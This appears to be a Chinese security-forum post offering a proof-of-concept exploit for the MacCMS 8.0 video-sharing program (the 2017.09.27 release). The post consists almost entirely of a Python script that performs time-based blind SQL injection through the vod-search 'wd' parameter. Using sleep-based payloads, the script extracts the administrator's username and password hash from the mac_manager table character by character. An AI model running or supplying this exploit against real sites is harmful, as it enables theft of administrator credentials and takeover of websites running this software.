找回密码
 注册

QQ登录

只需一步,快速开始

maccms8_mfb(苹果CMS视频分享程序 8.0 | 2017.09.27 发布的版本

Poc
#! /usr/bin/python
# -*- coding:utf-8 -*-
#author:F0rmat
import requests
import time
dict = "1234567890qwertyuiopasdfghjklzxcvbnm_{}QWERTYUIOPASDFGHJKLZXCVBNM,@.?"
UserName=''
UserPass=''
UserName_length=0
url='http://sb.com/'
url = url + r'/index.php?m=vod-search'
def main():
global UserName
global url
for i in range(30):
startTime = time.time()
sql = "))||if((select%0bascii(length((select(m_name)``from(mac_manager))))={}),(`sleep`(3)),0)#%25%35%63".format(
ord(str(i)))
data = {'wd': sql}
response = requests.post(url, data=data)  # 发送请求
if time.time() - startTime > 3:
UserName_length = i
print UserName_length
break
for num in range(1, UserName_length + 1):
for i in dict:  # 遍历取出字符
startTime = time.time()
sql = "))||if((select%0bascii(substr((select(m_name)``from(mac_manager)),{},1))={}),(`sleep`(3)),0)#%25%35%63".format(
str(num), ord(i))
data = {'wd': sql}
response = requests.post(url, data=data)  # 发送请求
print data
if time.time() - startTime > 3:
UserName += i
break
global UserPass
for num in range(32):
for i in dict:  # 遍历取出字符
startTime = time.time()
sql = "))||if((select%0bascii(substr((select(m_password)``from(mac_manager)),{},1))={}),(`sleep`(3)),0)#%25%35%63".format(
str(num), ord(i))
data = {'wd': sql}
response = requests.post(url, data=data)  # 发送请求
print data
if time.time() - startTime > 3:
UserPass += i
break
print 'username:'+UserName,'password:'+UserPass
if __name__ == '__main__':
main()

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册

x
分享至 : QQ空间
收藏

0 个回复

您需要登录后才可以回帖 登录 | 注册
关闭

站长推荐 上一条 /1 下一条